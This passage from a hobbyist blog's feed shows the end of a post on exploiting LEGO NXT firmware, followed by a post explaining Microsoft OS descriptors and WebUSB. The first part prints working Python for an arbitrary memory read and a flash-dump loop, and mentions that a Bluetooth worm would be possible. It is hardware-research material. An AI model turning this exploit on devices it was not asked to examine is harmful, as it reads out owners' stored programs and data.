    &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dev&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;read&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x82&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="c1"&gt;# print(result)&lt;/span&gt;
    &lt;span class="k"&gt;assert&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;[:&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;struct&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;lt;BB&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xaa&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;result_val&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;struct&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;unpack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;lt;I&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;:])[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;result_val&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This code sends a "direct" command with a dummy command byte of 0xaa (the firmware assumes this exists) followed by an address we want to read. The result contains the dummy command followed by 4 bytes of data. We can now try it out:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;hex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pwn_read&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="s1"&gt;&amp;#39;0xeafffffe&amp;#39;&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;hex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pwn_read&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="s1"&gt;&amp;#39;0xeafffffe&amp;#39;&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;hex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pwn_read&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="s1"&gt;&amp;#39;0xeafffffe&amp;#39;&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;hex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pwn_read&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0xc&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="s1"&gt;&amp;#39;0xeafffffe&amp;#39;&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;hex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pwn_read&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="s1"&gt;&amp;#39;0xeafffffe&amp;#39;&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;hex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pwn_read&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x14&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="s1"&gt;&amp;#39;0xeafffffe&amp;#39;&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;hex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pwn_read&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x18&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="s1"&gt;&amp;#39;0xea000009&amp;#39;&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;hex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pwn_read&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x1c&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="s1"&gt;&amp;#39;0xe1a09000&amp;#39;&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;hex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pwn_read&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x20&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="s1"&gt;&amp;#39;0xe5980104&amp;#39;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This certainly looks like valid ARM code! (The leading &lt;code&gt;0xe&lt;/code&gt; indicates an instruction which is always executed (in ARM, every instruction has an option to be conditionally executed only if certain flags are true), and &lt;code&gt;0xeafffffe&lt;/code&gt; is an infinite loop.)&lt;/p&gt;
&lt;p class="aside_q"&gt;Why are you reading from address 0? Isn't that a null pointer?&lt;/p&gt;

&lt;div class="aside_a"&gt;&lt;p&gt;This is a case where the abstractions of the C programming language start to break down. 0 is indeed a null pointer constant in C, but the hardware sees 0 as a memory address like any other. Some systems have nothing valid there, but some other systems (like this one) put &lt;em&gt;exception vectors&lt;/em&gt; at this location. When certain types of hardware interrupts or exceptions happen, the CPU jumps to certain fixed addresses around address 0 (the specific types of exceptions and the specific addresses are a property of the CPU architecture).&lt;/p&gt;&lt;/div&gt;

&lt;p&gt;All we need to do now is to loop over 256 KiB starting at &lt;span class="tabnum"&gt;0x001&lt;em&gt;xxxxx&lt;/em&gt;&lt;/span&gt; and save it to a file:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;reading flash...&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nb"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;nxtpwn-dump.bin&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;wb&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;256&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;1024&lt;/span&gt; &lt;span class="o"&gt;//&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;addr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0x00100000&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;
        &lt;span class="n"&gt;val&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;pwn_read&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;addr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;struct&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;lt;I&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;val&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="mi"&gt;1024&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\t&lt;/span&gt;&lt;span class="s2"&gt;Done with &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1024&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;/256 KiB&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;And with that, we have the firmware:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;xxd&lt;span class="w"&gt; &lt;/span&gt;nxtpwn-dump.bin&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;less
…
00019cd0:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;3032&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;5800&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;4d61&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;7220&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2033&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2032&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;3030&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;3600&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;02X.Mar&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2006&lt;/span&gt;.
00019ce0:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;3138&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;3a32&lt;span class="w"&gt; &lt;/span&gt;313a&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;3033&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;004a&lt;span class="w"&gt; &lt;/span&gt;616e&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;4665&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;624d&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;18&lt;/span&gt;:21:03.JanFebM
…
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Dumping the firmware in this manner also dumps all of the user programs and data stored on the brick, so I won't be releasing this until I clean it up a bit (so as to protect the privacy of the previous owner).&lt;/p&gt;
&lt;h1&gt;What else?&lt;/h1&gt;
&lt;p&gt;Although I haven't tested it, this exploit likely works on all NXT firmwares derived from the stock firmware. This means that it was and is possible to run &lt;a href="https://www.cs.tau.ac.il/~stoledo/lego/nxt-native/"&gt;bare-metal code on the NXT&lt;/a&gt; without a modified firmware. This "just" requires somebody to write an appropriate program loader.&lt;/p&gt;
&lt;p&gt;These commands can be triggered over Bluetooth, so I believe it's possible for paired NXTs to send them to each other. It should be possible to write an NXT worm (please don't write a malicious one).&lt;/p&gt;
&lt;p&gt;If anybody is a skilled internet archivist, this is your chance to capture as many firmware versions as you can.&lt;/p&gt;
&lt;p&gt;Happy hacking!&lt;/p&gt;</content><category term="misc"></category></entry><entry><title>Making USB widgets easy to install</title><link href="https://arcanenibble.com/making-usb-widgets-easy-to-install.html" rel="alternate"></link><published>2025-07-28T00:00:00+00:00</published><updated>2025-07-28T00:00:00+00:00</updated><author><name>ArcaneNibble</name></author><id>tag:arcanenibble.com,2025-07-28:/making-usb-widgets-easy-to-install.html</id><summary type="html">&lt;p&gt;Extra descriptors for Windows and WebUSB&lt;/p&gt;</summary><content type="html">&lt;h1&gt;TL;DR&lt;/h1&gt;
&lt;p&gt;Set &lt;code&gt;bcdDevice&lt;/code&gt; to &lt;code&gt;0x0210&lt;/code&gt;, add &lt;a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/usbcon/microsoft-os-2-0-descriptors-specification"&gt;this&lt;/a&gt; and optionally &lt;a href="https://developer.chrome.com/docs/capabilities/build-for-webusb"&gt;this&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Microsoft complexified their operating system and then proceeded to make it everybody else's problem.&lt;/p&gt;
&lt;p&gt;Google and Chromium-based browsers upended "software distribution", which naturally made the consequences everybody else's problem as well.&lt;/p&gt;
&lt;p&gt;If you want to make physical objects which connect to anything computer-shaped (including mobile phones), you now have extra work to do for the best out-of-the-box user experience. None of these extra functions are in Chapter 9 of the USB 2.0 specification, and I wasn't sure how anybody was ever supposed to find out about them without being told, and thus this article was born.&lt;/p&gt;
&lt;h1&gt;What? (Historical context)&lt;/h1&gt;
&lt;p&gt;When hardware is added to a computer, the computer needs to know how to talk to this hardware. In order to be able to, the computer relies on some software &lt;em&gt;drivers&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Nowadays, many users no longer have to think about this thanks to the availability of &lt;em&gt;standards&lt;/em&gt; which allow for generic drivers to interface with &lt;em&gt;any&lt;/em&gt; hardware that operates according to the rules of the standard. Many of these generic drivers now come bundled with operating systems and don't have to be manually installed.&lt;/p&gt;
&lt;p&gt;The USB standard defines both a basic set of rules that all USB devices need to follow as well as a list of standard "&lt;a href="https://www.usb.org/defined-class-codes"&gt;device classes&lt;/a&gt;" for commonly-encountered peripherals (such as mice, keyboards, flash drives, cameras, or more specialized things such as smart cards or electronics test and measurement lab equipment).&lt;/p&gt;
&lt;p&gt;As stated, nowadays almost any standard mouse or keyboard or flash drive from any manufacturer will work on any computer or even many mobile devices thanks to these specification. But what happens if you want to do something other than what is standard and generic? Custom software and occasionally custom drivers are still required. For example, you often need custom software and sometimes custom drivers to make "Gamer Pro X RGB+ Ultra" keyboards and mice work properly or to configure their advanced settings.&lt;/p&gt;
&lt;h2&gt;Not-Windows&lt;/h2&gt;
&lt;p&gt;On macOS and Linux, the operating system provides a way for programs (in user-space) to talk to USB devices "without a driver" (i.e. by only relying on the basic behaviors that all USB devices must implement). This user-space program essentially takes on the role of a driver. For devices which do not need to provide services to the entire system, this interface can often be sufficient.&lt;/p&gt;
&lt;p&gt;For example, a device which only needs to receive a firmware update or configuration settings can use just these basic low-level USB operations. So can a specialized piece of industrial equipment which only talks to its special control software. However, something such as a network card would not fit this model very well because it needs to be accessible and &lt;em&gt;shared&lt;/em&gt; by every program on the computer &lt;em&gt;as a network card&lt;/em&gt;. (Sharing resources between programs is generally considered one of the purposes of an operating system!)&lt;/p&gt;
&lt;h2&gt;Windows&lt;/h2&gt;
&lt;p&gt;Unfortunately, the above is not the case on Windows. Windows requires &lt;em&gt;every&lt;/em&gt; USB device to have a driver before a user-space program is able to access it.&lt;/p&gt;
&lt;p&gt;Double-unfortunately, developing drivers is generally considered difficult since drivers operate in a totally different environment from "normal" user-space programs. Many people thus reasonably want to avoid doing it. In addition, it is not possible to develop a Windows driver without spending money and going through &lt;a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/install/kernel-mode-code-signing-requirements--windows-vista-and-later-"&gt;a lot of bureaucratic red tape&lt;/a&gt;. This is because Microsoft at some point both wanted to improve their &lt;a href="https://www.youtube.com/watch?v=IW7Rqwwth84"&gt;reputation&lt;/a&gt; for instability as well as generally &lt;a href="https://en.wikipedia.org/wiki/Trustworthy_computing"&gt;locking down the platform&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;People naturally looked for solutions and workarounds to these problems.&lt;/p&gt;
&lt;h2&gt;Corporate slop solution&amp;mdash;Jungo WinDriver&lt;/h2&gt;
&lt;p&gt;Jungo WinDriver is a commercial package sold to companies so that they can quickly develop custom drivers with minimal effort.&lt;/p&gt;
&lt;p&gt;As a &lt;abbr title="business-to-business"&gt;B2B&lt;/abbr&gt; vendor, the only time someone would notice the existence of Jungo is when a company is being particularly low-effort with their driver development.&lt;/p&gt;
&lt;p&gt;A number of vendors of "industrial" development kits, equipment, and other such items fell into this category.&lt;/p&gt;
&lt;h2&gt;USB &lt;abbr title="Human Interface Device"&gt;HID&lt;/abbr&gt; workaround&lt;/h2&gt;
&lt;p&gt;One of the generic device classes with built-in drivers on most platforms (including Windows) is the USB Human Interface Device class. This device class encompasses keyboards, mice, joysticks, gamepads, and other similar widgets.&lt;/p&gt;
&lt;p&gt;Because this specification was being designed in the 1990s when many wacky ideas were still being thrown around by computer peripheral manufacturers (i.e. before everybody standardized around an Xbox-style gamepad), this specification is defined in an extremely-generic way (that is simultaneously both excessive and unnecessary in some areas and short-sighted and limiting in others).&lt;/p&gt;
&lt;p&gt;Although the devices listed are primarily thought of as &lt;em&gt;input&lt;/em&gt; devices, many of them have limited &lt;em&gt;output&lt;/em&gt; capabilities as well. For example, traditional PC keyboards have LEDs for Caps Lock, Num Lock, and Scroll Lock, all of which are controllable in software. Joysticks and gamepads also support force feedback (another overcomplicated specification which is almost impossible to understand).&lt;/p&gt;
&lt;p&gt;Because of the extensibility of USB HID, it is possible to add vendor-specific commands to HID devices, and none of the major platforms require writing a custom driver to use them. This is a reasonable way to implement a computer peripheral that needs some extra blinkenlights.&lt;/p&gt;
&lt;p&gt;However, because of how generic USB HID is, it's possible to push it to the extreme and define a device where the &lt;em&gt;entirety&lt;/em&gt; of its input and output "reports" consists solely of "vendor defined", up to the limit of the USB packet size. This entirely defeats the spirit of the specification but results in a simple bidirectional channel with a USB device.&lt;/p&gt;
&lt;p&gt;An upside of this strategy is that it is &lt;em&gt;extremely&lt;/em&gt; backwards-compatible. The Windows HID API is available all the way back to Windows 2000, and the macOS HID API appears to be present since the earliest versions of Mac OS X. Downsides include somewhat limited performance and inflexible programming interfaces (since it is designed for input devices and is &lt;em&gt;not&lt;/em&gt; a general-purpose USB interface).&lt;/p&gt;
&lt;h2&gt;Open-source generic drivers&lt;/h2&gt;
&lt;p&gt;Over the years, a number of open-source generic USB drivers for Windows were released, including &lt;a href="https://github.com/mcuee/libusb-win32"&gt;libusb-win32&lt;/a&gt;, &lt;a href="https://github.com/mcuee/libusbk"&gt;libusbK&lt;/a&gt;, and &lt;a href="https://github.com/daynix/UsbDk"&gt;usbdk&lt;/a&gt;. These drivers attempt to bring to Windows a similar interface as is available on macOS and Linux (i.e. the ability to write user-space programs to talk to a device, with the driver relying on only generic USB functionality).&lt;/p&gt;
&lt;p&gt;These drivers all have slightly different capabilities and different bugs. They also require installation as they do not come preinstalled on the system. The process of installing a specific driver for a specific device was initially rather cumbersome and prompted the release of &lt;a href="https://zadig.akeo.ie/"&gt;tools&lt;/a&gt; to simplify the process (tools which &lt;em&gt;also&lt;/em&gt; needed to be downloaded).&lt;/p&gt;
&lt;h1&gt;WinUSB&lt;/h1&gt;
&lt;p&gt;Because this was a sufficiently visible issue (industrial customers and &lt;abbr title="independent hardware vendors"&gt;IHVs&lt;/abbr&gt;, including lazy IHVs, are an important part of the ecosystem which Microsoft depends on), Microsoft also developed their own generic USB driver called WinUSB. It has existed since Windows Vista but has been backported to Windows XP.&lt;/p&gt;
&lt;p&gt;Because this driver is developed by Microsoft, Microsoft is responsible for maintaining it and distributing it (either via Windows Update or by being included in the operating system starting with Windows 8). (This of course does mean that you are dependent on Microsoft to fix any bugs.)&lt;/p&gt;
&lt;p&gt;A problem with both the open-source generic USB drivers and this WinUSB generic driver is that there was no way to specify, using only standard USB descriptors, that generic drivers should be loaded. Normally, driver loading is controlled by combinations of the USB vendor ID, product ID, and device class. However, generic drivers can potentially be associated with &lt;em&gt;any&lt;/em&gt; vendor or product.&lt;/p&gt;
&lt;p&gt;The way Microsoft decided to solve this problem was by either requiring a special metadata (&lt;code&gt;.inf&lt;/code&gt;) file to be installed by the end-user, or by requiring the device to implement special "Microsoft OS Descriptors" in the device's firmware.&lt;/p&gt;
&lt;h1&gt;Microsoft OS Descriptors&lt;/h1&gt;
&lt;p&gt;There are two versions of Microsoft OS Descriptors, &lt;a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/usbcon/microsoft-os-1-0-descriptors-specification"&gt;version 1.0&lt;/a&gt; and &lt;a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/usbcon/microsoft-os-2-0-descriptors-specification"&gt;version 2.0&lt;/a&gt;. Version 1.0 is supported since Windows XP SP1 while version 2.0 is supported since Windows 8.1.&lt;/p&gt;
&lt;p&gt;These descriptors can be used to tell Windows explicitly to load a certain driver (such as WinUSB), as well as to give devices a &lt;abbr title="Globally Unique Identifier"&gt;GUID&lt;/abbr&gt;, which is important for some reason that I don't currently understand. These descriptors can also allegedly configure other settings such as the icon which is displayed in Device Manager, but I was not able to figure out how to actually do this.&lt;/p&gt;
&lt;p&gt;The most important thing is that, with these descriptors, &lt;em&gt;driver installation becomes entirely automatic and seamless&lt;/em&gt;, even for devices which implement completely custom USB functionality.&lt;/p&gt;
&lt;p&gt;This is not a code-focused article, but &lt;a href="https://github.com/pybricks/pybricks-micropython/blob/1808d73d581d85477df702787d6543ff6bf6c131/lib/pbio/drv/usb/usb_common_desc.c#L36-L60"&gt;here&lt;/a&gt; is an example of a Microsoft OS 2.0 Descriptor which requests that Windows load the WinUSB driver. It is also possible to request loading other drivers such as the Xbox gamepad driver or the USB &lt;abbr title="Communications Device Class"&gt;CDC&lt;/abbr&gt;-&lt;abbr title="Network Control Model"&gt;NCM&lt;/abbr&gt; Ethernet driver. Unfortunately, I do not know where to find a list of all drivers that can be loaded in this manner. The list on Microsoft's website which claims to be up-to-date clearly is not and includes neither WinUSB nor the CDC-NCM driver.&lt;/p&gt;
&lt;p&gt;Microsoft OS 1.0 Descriptors should also work and should enable even greater compatibility, but there seems to be much less interest in continuing to support them. I also don't know what happens if a device supports both. &lt;small&gt;(Personal speculation: A bunch of this may have been forgotten due to the aggressive push to roll out Windows 10 as well as some of these WinUSB capabilities seemingly being &lt;a href="https://libusb-devel.narkive.com/kNFnzBoL/microsoft-has-apparently-enabled-winusb-wcid-for-windows-7-through-windows-update"&gt;pushed for as part of or at least in association with Windows Phone efforts&lt;/a&gt;).&lt;/small&gt; For details and examples of Microsoft OS 1.0 descriptors, &lt;a href="https://github.com/pbatard/libwdi/wiki/wcid-devices"&gt;this&lt;/a&gt; article may help.&lt;/p&gt;
&lt;h2&gt;USB Binary Object Store&lt;/h2&gt;
&lt;p&gt;The USB Binary Object Store (BOS) descriptor is a mechanism for a USB device to describe &lt;a href="https://www.usb.org/bos-descriptor-types"&gt;"extra" structured binary data&lt;/a&gt; for a host. This data is "extra" in the sense that it is not required to operate the core USB device framework. This is, once again like many aspects of USB, excessively generic.&lt;/p&gt;
&lt;p&gt;This descriptor originated with some combination of the Wireless USB specification (which has since been memory-holed) and the USB 3.0 specification. It was then backported so that it can also be used with USB 2.0 devices. To use a BOS descriptor, devices must report a &lt;code&gt;bcdDevice&lt;/code&gt; in the device descriptor of at least 2.0.1 or 2.1.0 depending on which "extra" features are indicated. (Microsoft OS 2.0 Descriptors require indicating USB version 2.1.0.)&lt;/p&gt;
&lt;p&gt;Examples of "extra" capabilities described by BOS descriptors include Wireless USB data rates and capabilities, support for USB 2.0 Link Power Management (the original reason for the backport), and information about USB 3 speeds and power management latencies.&lt;/p&gt;
&lt;p&gt;One of the categories of "extra" capabilities is a capability (&lt;code&gt;0x05&lt;/code&gt;) for defining arbitrary platform-specific capabilities (identified by a GUID). Yes, this is indeed yet another generic layer inside of a generic layer. The use of a GUID however allows anybody to define platform-specific capabilities without having to coordinate with each other or with the USB Implementors Forum.&lt;/p&gt;
&lt;p&gt;A specific GUID, &lt;code&gt;{D8DD60DF-4589-4CC7-9CD2-659D9E648A9F}&lt;/code&gt;, is inserted into the BOS descriptor to indicate support for Microsoft OS 2.0 Descriptors. An example can be seen &lt;a href="https://github.com/pybricks/pybricks-micropython/blob/1808d73d581d85477df702787d6543ff6bf6c131/lib/pbio/drv/usb/usb_common_desc.c#L82-L94"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;h1&gt;WebUSB&lt;/h1&gt;
&lt;p&gt;Due to ecosystem trends which were very much intentional but out of scope for this article, a lot of software nowadays is delivered through Chromium-based web browsers. As part of enabling web browsers to become a major software delivery channel, the &lt;a href="https://developer.mozilla.org/en-US/docs/Web/API/WebUSB_API"&gt;WebUSB&lt;/a&gt; API was introduced to allow web pages to talk to USB devices using generic USB device frameworks described throughout this article.&lt;/p&gt;
&lt;p&gt;A device which is &lt;em&gt;intended&lt;/em&gt; to be accessed from a website can embed a URL inside its firmware by adding a special &lt;a href="https://developer.chrome.com/docs/capabilities/build-for-webusb"&gt;WebUSB descriptor&lt;/a&gt;. This is optional, but having one will enable browsers to automatically offer to open the specified web page. This means that the end-to-end user experience for a device becomes "plug in device, driver automatically installs, browser automatically offers to open a page containing software to use the device".&lt;/p&gt;
&lt;p&gt;WebUSB support is also indicated in the USB BOS descriptor using a platform GUID of &lt;code&gt;{3408b638-09a9-47a0-8bfd-a0768815b665}&lt;/code&gt;.&lt;/p&gt;
&lt;h1&gt;Conclusion&lt;/h1&gt;
&lt;p&gt;This future certainly is weird and full of quirks, but there finally exists &lt;em&gt;a&lt;/em&gt; way to make drivers less painful. You "just" need to know how.&lt;/p&gt;
